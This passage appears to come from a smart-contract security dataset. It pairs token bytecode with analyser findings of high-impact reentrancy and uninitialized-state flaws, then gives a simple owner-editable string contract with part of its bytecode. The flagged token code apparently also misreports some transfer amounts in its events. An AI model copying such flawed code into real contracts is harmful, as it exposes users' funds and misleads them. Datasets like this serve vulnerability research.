b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea2646970667358221220614a6b1b1fe2710a898e36921f7bcc174d7a7cd3be9a60bda933beade429366864736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,722
0xea46e1b85845251a1f49e070bdc56d2a486b23c9
pragma solidity ^0.4.8 ; contract PI_EDIT_2 { address owner ; function PI_EDIT_2 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_1 = " une première phrase " ; function setPI_edit_1 ( string newPI_edit_1 ) public onlyOwner { inPI_edit_1 = newPI_edit_1 ; } function getPI_edit_1 () public constant returns ( string ) { return inPI_edit_1 ; } // 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_2 = " une première phrase " ; function setPI_edit_2 ( string newPI_edit_2 ) public onlyOwner { inPI_edit_2 = newPI_edit_2 ; } function getPI_edit_2 () public constant returns ( string ) { return inPI_edit_2 ; } // 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_3 = " une première phrase " ; function setPI_edit_3 ( string newPI_edit_3 ) public onlyOwner { inPI_edit_3 = newPI_edit_3 ; } function getPI_edit_3 () public constant returns ( string ) { return inPI_edit_3 ; } // 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_4 = " une première phrase " ; function setPI_edit_4 ( string newPI_edit_4 ) public onlyOwner { inPI_edit_4 = newPI_edit_4 ; } function getPI_edit_4 () public constant returns ( string ) { return inPI_edit_4 ; } // 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_5 = " une première phrase " ; function setPI_edit_5 ( string newPI_edit_5 ) public onlyOwner { inPI_edit_5 = newPI_edit_5 ; } function getPI_edit_5 () public constant returns ( string ) { return inPI_edit_5 ; } // 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_6 = " une première phrase " ; function setPI_edit_6 ( string newPI_edit_6 ) public onlyOwner { inPI_edit_6 = newPI_edit_6 ; } function getPI_edit_6 () public constant returns ( string ) { return inPI_edit_6 ; } // 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_7 = " une première phrase " ; function setPI_edit_7 ( string newPI_edit_7 ) public onlyOwner { inPI_edit_7 = newPI_edit_7 ; } function getPI_edit_7 () public constant returns ( string ) { return inPI_edit_7 ; } // 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_8 = " une première phrase " ; function setPI_edit_8 ( string newPI_edit_8 ) public onlyOwner { inPI_edit_8 = newPI_edit_8 ; } function getPI_edit_8 () public constant returns ( string ) { return inPI_edit_8 ; } // 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_9 = " une première phrase " ; function setPI_edit_9 ( string newPI_edit_9 ) public onlyOwner { inPI_edit_9 = newPI_edit_9 ; } function getPI_edit_9 () public constant returns ( string ) { return inPI_edit_9 ; } // 10 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_10 = " une première phrase " ; function setPI_edit_10 ( string newPI_edit_10 ) public onlyOwner { inPI_edit_10 = newPI_edit_10 ; } function getPI_edit_10 () public constant returns ( string ) { return inPI_edit_10 ; } // 11 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_11 = " une première phrase " ; function setPI_edit_11 ( string newPI_edit_11 ) public onlyOwner { inPI_edit_11 = newPI_edit_11 ; } function getPI_edit_11 () public constant returns ( string ) { return inPI_edit_11 ; } // 12 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_12 = " une première phrase " ; function setPI_edit_12 ( string newPI_edit_12 ) public onlyOwner { inPI_edit_12 = newPI_edit_12 ; } function getPI_edit_12 () public constant returns ( string ) { return inPI_edit_12 ; } // 13 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_13 = " une première phrase " ; function setPI_edit_13 ( string newPI_edit_13 ) public onlyOwner { inPI_edit_13 = newPI_edit_13 ; } function getPI_edit_13 () public constant returns ( string ) { return inPI_edit_13 ; } // 14 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_14 = " une première phrase " ; function setPI_edit_14 ( string newPI_edit_14 ) public onlyOwner { inPI_edit_14 = newPI_edit_14 ; } function getPI_edit_14 () public constant returns ( string ) { return inPI_edit_14 ; } // 15 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_15 = " une première phrase " ; function setPI_edit_15 ( string newPI_edit_15 ) public onlyOwner { inPI_edit_15 = newPI_edit_15 ; } function getPI_edit_15 () public constant returns ( string ) { return inPI_edit_15 ; } // 16 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_16 = " une première phrase " ; function setPI_edit_16 ( string newPI_edit_16 ) public onlyOwner { inPI_edit_16 = newPI_edit_16 ; } function getPI_edit_16 () public constant returns ( string ) { return inPI_edit_16 ; } // 17 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_17 = " une première phrase " ; function setPI_edit_17 ( string newPI_edit_17 ) public onlyOwner { inPI_edit_17 = newPI_edit_17 ; } function getPI_edit_17 () public constant returns ( string ) { return inPI_edit_17 ; } // 18 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_18 = " une première phrase " ; function setPI_edit_18 ( string newPI_edit_18 ) public onlyOwner { inPI_edit_18 = newPI_edit_18 ; } function getPI_edit_18 () public constant returns ( string ) { return inPI_edit_18 ; } // 19 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_19 = " une première phrase " ; function setPI_edit_19 ( string newPI_edit_19 ) public onlyOwner { inPI_edit_19 = newPI_edit_19 ; } function getPI_edit_19 () public constant returns ( string ) { return inPI_edit_19 ; } // 20 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_20 = " une première phrase " ; function setPI_edit_20 ( string newPI_edit_20 ) public onlyOwner { inPI_edit_20 = newPI_edit_20 ; } function getPI_edit_20 () public constant returns ( string ) { return inPI_edit_20 ; } // 21 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_21 = " une première phrase " ; function setPI_edit_21 ( string newPI_edit_21 ) public onlyOwner { inPI_edit_21 = newPI_edit_21 ; } function getPI_edit_21 () public constant returns ( string ) { return inPI_edit_21 ; } // 22 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_22 = " une première phrase " ; function setPI_edit_22 ( string newPI_edit_22 ) public onlyOwner { inPI_edit_22 = newPI_edit_22 ; } function getPI_edit_22 () public constant returns ( string ) { return inPI_edit_22 ; } // 23 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_23 = " une première phrase " ; function setPI_edit_23 ( string newPI_edit_23 ) public onlyOwner { inPI_edit_23 = newPI_edit_23 ; } function getPI_edit_23 () public constant returns ( string ) { return inPI_edit_23 ; } // 24 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_24 = " une première phrase " ; function setPI_edit_24 ( string newPI_edit_24 ) public onlyOwner { inPI_edit_24 = newPI_edit_24 ; } function getPI_edit_24 () public constant returns ( string ) { return inPI_edit_24 ; } // 25 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_25 = " une première phrase " ; function setPI_edit_25 ( string newPI_edit_25 ) public onlyOwner { inPI_edit_25 = newPI_edit_25 ; } function getPI_edit_25 () public constant returns ( string ) { return inPI_edit_25 ; } // 26 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_26 = " une première phrase " ; function setPI_edit_26 ( string newPI_edit_26 ) public onlyOwner { inPI_edit_26 = newPI_edit_26 ; } function getPI_edit_26 () public constant returns ( string ) { return inPI_edit_26 ; } // 27 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_27 = " une première phrase " ; function setPI_edit_27 ( string newPI_edit_27 ) public onlyOwner { inPI_edit_27 = newPI_edit_27 ; } function getPI_edit_27 () public constant returns ( string ) { return inPI_edit_27 ; } // 28 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_28 = " une première phrase " ; function setPI_edit_28 ( string newPI_edit_28 ) public onlyOwner { inPI_edit_28 = newPI_edit_28 ; } function getPI_edit_28 () public constant returns ( string ) { return inPI_edit_28 ; } // 29 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_29 = " une première phrase " ; function setPI_edit_29 ( string newPI_edit_29 ) public onlyOwner { inPI_edit_29 = newPI_edit_29 ; } function getPI_edit_29 () public constant returns ( string ) { return inPI_edit_29 ; } // 30 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_30 = " une première phrase " ; function setPI_edit_30 ( string newPI_edit_30 ) public onlyOwner { inPI_edit_30 = newPI_edit_30 ; } function getPI_edit_30 () public constant returns ( string ) { return inPI_edit_30 ; } // 31 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_31 = " une première phrase " ; function setPI_edit_31 ( string newPI_edit_31 ) public onlyOwner { inPI_edit_31 = newPI_edit_31 ; } function getPI_edit_31 () public constant returns ( string ) { return inPI_edit_31 ; } // 32 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_32 = " une première phrase " ; function setPI_edit_32 ( string newPI_edit_32 ) public onlyOwner { inPI_edit_32 = newPI_edit_32 ; } function getPI_edit_32 () public constant returns ( string ) { return inPI_edit_32 ; } // 33 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_33 = " une première phrase " ; function setPI_edit_33 ( string newPI_edit_33 ) public onlyOwner { inPI_edit_33 = newPI_edit_33 ; } function getPI_edit_33 () public constant returns ( string ) { return inPI_edit_33 ; } // 34 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_34 = " une première phrase " ; function setPI_edit_34 ( string newPI_edit_34 ) public onlyOwner { inPI_edit_34 = newPI_edit_34 ; } function getPI_edit_34 () public constant returns ( string ) { return inPI_edit_34 ; } }
0x606060405260043610610321576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680621667bb14610326578063014a7453146103b45780630352053514610442578063036a131d146104d0578063096995811461052d5780630a107ac31461058a5780630c1db532146105e75780630d3fbdf814610675578063106812c9146107035780631397d7ae14610760578063184e8549146107bd5780631903c10e1461084b5780631a05ba8d146108a85780631e44e6af146109055780631e6f01a71461096257806328b5dde8146109bf578063290842a114610a1c578063298d5f3314610a7957806329e6f3f814610b075780632d8f098114610b645780632e27c10a14610bc157806332d3b71114610c1e578063334d86bf14610cac5780633640599c14610d3a57806339b8e63c14610dc85780633b8a3d5e14610e565780633dced19314610eb357806342e5d5c814610f415780634545864314610fcf5780634588c1ef1461102c57806348807db114611089578063498e87a91461111757806349bff0d714611174578063524e2444146111d15780635ef7b3031461122e578063653d1ca4146112bc57806367d6d1421461134a5780636914f40f146113d8578063703dbd8114611466578063761e64c4146114c35780637713ba04146115205780637aa2096a1461157d5780637f294b10146115da57806387586b321461163757806390a971a8146116c5578063a0e5bb6914611722578063a9c0838d1461177f578063aac74c921461180d578063abc217021461189b578063b29a3cfd14611929578063b8b8fc3a146119b7578063b9eb551114611a45578063bb3e5b0a14611aa2578063c097d62914611aff578063c708ed9c14611b5c578063c70ef90814611bea578063c726c2b914611c47578063c9a75d9014611cd5578063cb6b869914611d32578063d82ce85714611dc0578063da2424ae14611e4e578063da35762a14611eab578063f356d6cc14611f39578063f8e0cc1c14611fc7578063fc96166414612055578063fcde2ff6146120b2578063fe9d282814612140578063ff27cbda146121ce575b600080fd5b341561033157600080fd5b61033961225c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561037957808201518184015260208101905061035e565b50505050905090810190601f1680156103a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103bf57600080fd5b6103c7612304565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044d57600080fd5b6104556123ac565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049557808201518184015260208101905061047a565b50505050905090810190601f1680156104c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104db57600080fd5b61052b600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612454565b005b341561053857600080fd5b610588600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506124c9565b005b341561059557600080fd5b6105e5600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061253e565b005b34156105f257600080fd5b6105fa6125b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561063a57808201518184015260208101905061061f565b50505050905090810190601f1680156106675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561068057600080fd5b61068861265b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106c85780820151818401526020810190506106ad565b50505050905090810190601f1680156106f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561070e57600080fd5b61075e600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612703565b005b341561076b57600080fd5b6107bb600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612778565b005b34156107c857600080fd5b6107d06127ed565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108105780820151818401526020810190506107f5565b50505050905090810190601f16801561083d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561085657600080fd5b6108a6600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612895565b005b34156108b357600080fd5b610903600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061290a565b005b341561091057600080fd5b610960600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061297f565b005b341561096d57600080fd5b6109bd600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129f4565b005b34156109ca57600080fd5b610a1a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612a69565b005b3415610a2757600080fd5b610a77600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ade565b005b3415610a8457600080fd5b610a8c612b53565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610acc578082015181840152602081019050610ab1565b50505050905090810190601f168015610af95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610b1257600080fd5b610b62600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612bfb565b005b3415610b6f57600080fd5b610bbf600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c70565b005b3415610bcc57600080fd5b610c1c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ce5565b005b3415610c2957600080fd5b610c31612d5a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c71578082015181840152602081019050610c56565b50505050905090810190601f168015610c9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610cb757600080fd5b610cbf612e02565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610cff578082015181840152602081019050610ce4565b50505050905090810190601f168015610d2c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610d4557600080fd5b610d4d612eaa565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d8d578082015181840152602081019050610d72565b50505050905090810190601f168015610dba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610dd357600080fd5b610ddb612f52565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e1b578082015181840152602081019050610e00565b50505050905090810190601f168015610e485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610e6157600080fd5b610eb1600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ffa565b005b3415610ebe57600080fd5b610ec661306f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f06578082015181840152602081019050610eeb565b50505050905090810190601f168015610f335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610f4c57600080fd5b610f54613117565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f94578082015181840152602081019050610f79565b50505050905090810190601f168015610fc15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610fda57600080fd5b61102a600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506131bf565b005b341561103757600080fd5b611087600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613234565b005b341561109457600080fd5b61109c6132a9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110dc5780820151818401526020810190506110c1565b50505050905090810190601f1680156111095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561112257600080fd5b611172600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613351565b005b341561117f57600080fd5b6111cf600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506133c6565b005b34156111dc57600080fd5b61122c600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061343b565b005b341561123957600080fd5b6112416134b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611281578082015181840152602081019050611266565b50505050905090810190601f1680156112ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156112c757600080fd5b6112cf613558565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561130f5780820151818401526020810190506112f4565b50505050905090810190601f16801561133c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561135557600080fd5b61135d613600565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561139d578082015181840152602081019050611382565b50505050905090810190601f1680156113ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156113e357600080fd5b6113eb6136a8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561142b578082015181840152602081019050611410565b50505050905090810190601f1680156114585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561147157600080fd5b6114c1600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613750565b005b34156114ce57600080fd5b61151e600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506137c5565b005b341561152b57600080fd5b61157b600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061383a565b005b341561158857600080fd5b6115d8600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506138af565b005b34156115e557600080fd5b611635600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613924565b005b341561164257600080fd5b61164a613999565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561168a57808201518184015260208101905061166f565b50505050905090810190601f1680156116b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156116d057600080fd5b611720600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613a41565b005b341561172d57600080fd5b61177d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613ab6565b005b341561178a57600080fd5b611792613b2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156117d25780820151818401526020810190506117b7565b50505050905090810190601f1680156117ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561181857600080fd5b611820613bd3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611860578082015181840152602081019050611845565b50505050905090810190601f16801561188d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156118a657600080fd5b6118ae613c7b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156118ee5780820151818401526020810190506118d3565b50505050905090810190601f16801561191b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561193457600080fd5b61193c613d23565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561197c578082015181840152602081019050611961565b50505050905090810190601f1680156119a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156119c257600080fd5b6119ca613dcb565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611a0a5780820151818401526020810190506119ef565b50505050905090810190601f168015611a375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611a5057600080fd5b611aa0600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613e73565b005b3415611aad57600080fd5b611afd600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613ee8565b005b3415611b0a57600080fd5b611b5a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613f5d565b005b3415611b6757600080fd5b611b6f613fd2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611baf578082015181840152602081019050611b94565b50505050905090810190601f168015611bdc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611bf557600080fd5b611c45600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061407a565b005b3415611c5257600080fd5b611c5a6140ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611c9a578082015181840152602081019050611c7f565b50505050905090810190601f168015611cc75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611ce057600080fd5b611d30600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050614197565b005b3415611d3d57600080fd5b611d4561420c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611d85578082015181840152602081019050611d6a565b50505050905090810190601f168015611db25780820380516001836020036101000a03191681